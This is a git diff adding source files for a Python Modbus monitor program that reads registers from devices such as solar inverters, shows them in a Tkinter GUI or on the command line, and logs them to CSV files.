buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + 